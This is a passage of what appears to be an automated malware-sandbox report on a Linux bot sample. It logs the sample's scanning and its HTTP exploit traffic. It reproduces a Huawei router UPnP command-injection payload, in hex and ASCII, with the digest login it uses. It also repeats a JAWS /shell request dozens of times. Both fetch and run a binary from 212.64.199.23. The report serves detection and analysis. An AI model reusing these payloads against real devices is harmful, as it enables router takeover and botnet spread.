6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/z0r0.spc.elf (PID: 5821)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 129.98.8.49
Source: unknown	TCP traffic detected without corresponding DNS query: 200.146.125.49
Source: unknown	TCP traffic detected without corresponding DNS query: 170.144.61.73
Source: unknown	TCP traffic detected without corresponding DNS query: 150.92.232.7
Source: unknown	TCP traffic detected without corresponding DNS query: 120.162.219.46
Source: unknown	TCP traffic detected without corresponding DNS query: 31.166.118.47
Source: unknown	TCP traffic detected without corresponding DNS query: 140.167.23.67
Source: unknown	TCP traffic detected without corresponding DNS query: 199.182.0.76
Source: unknown	TCP traffic detected without corresponding DNS query: 161.154.40.2
Source: unknown	TCP traffic detected without corresponding DNS query: 177.70.98.184
Source: unknown	TCP traffic detected without corresponding DNS query: 82.185.240.35
Source: unknown	TCP traffic detected without corresponding DNS query: 77.77.83.106
Source: unknown	TCP traffic detected without corresponding DNS query: 71.253.136.106
Source: unknown	TCP traffic detected without corresponding DNS query: 9.132.198.210
Source: unknown	TCP traffic detected without corresponding DNS query: 23.180.33.1
Source: unknown	TCP traffic detected without corresponding DNS query: 44.89.104.81
Source: unknown	TCP traffic detected without corresponding DNS query: 180.208.106.117
Source: unknown	TCP traffic detected without corresponding DNS query: 171.253.49.21
Source: unknown	TCP traffic detected without corresponding DNS query: 223.251.166.239
Source: unknown	TCP traffic detected without corresponding DNS query: 168.197.36.50
Source: unknown	TCP traffic detected without corresponding DNS query: 190.182.109.88
Source: unknown	TCP traffic detected without corresponding DNS query: 180.78.103.148
Source: unknown	TCP traffic detected without corresponding DNS query: 46.250.175.108
Source: unknown	TCP traffic detected without corresponding DNS query: 44.155.228.66
Source: unknown	TCP traffic detected without corresponding DNS query: 122.50.163.119
Source: unknown	TCP traffic detected without corresponding DNS query: 136.55.42.11
Source: unknown	TCP traffic detected without corresponding DNS query: 154.85.65.46
Source: unknown	TCP traffic detected without corresponding DNS query: 200.196.8.211
Source: unknown	TCP traffic detected without corresponding DNS query: 164.142.192.207
Source: unknown	TCP traffic detected without corresponding DNS query: 165.249.38.136
Source: unknown	TCP traffic detected without corresponding DNS query: 143.239.97.29
Source: unknown	TCP traffic detected without corresponding DNS query: 180.224.139.179
Source: unknown	TCP traffic detected without corresponding DNS query: 164.137.162.251
Source: unknown	TCP traffic detected without corresponding DNS query: 187.150.12.11
Source: unknown	TCP traffic detected without corresponding DNS query: 13.201.182.230
Source: unknown	TCP traffic detected without corresponding DNS query: 206.244.37.21
Source: unknown	TCP traffic detected without corresponding DNS query: 218.238.190.219
Source: unknown	TCP traffic detected without corresponding DNS query: 104.129.170.155
Source: unknown	TCP traffic detected without corresponding DNS query: 75.64.20.205
Source: unknown	TCP traffic detected without corresponding DNS query: 53.219.214.78
Source: unknown	TCP traffic detected without corresponding DNS query: 71.140.188.144
Source: unknown	TCP traffic detected without corresponding DNS query: 138.119.215.28
Source: unknown	TCP traffic detected without corresponding DNS query: 183.158.88.190
Source: unknown	TCP traffic detected without corresponding DNS query: 130.70.56.197
Source: unknown	TCP traffic detected without corresponding DNS query: 80.194.220.75
Source: unknown	TCP traffic detected without corresponding DNS query: 94.86.77.0
Source: unknown	TCP traffic detected without corresponding DNS query: 212.98.151.177
Source: unknown	TCP traffic detected without corresponding DNS query: 35.128.194.32
Source: unknown	TCP traffic detected without corresponding DNS query: 128.125.86.157
Source: unknown	TCP traffic detected without corresponding DNS query: 135.64.29.32

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
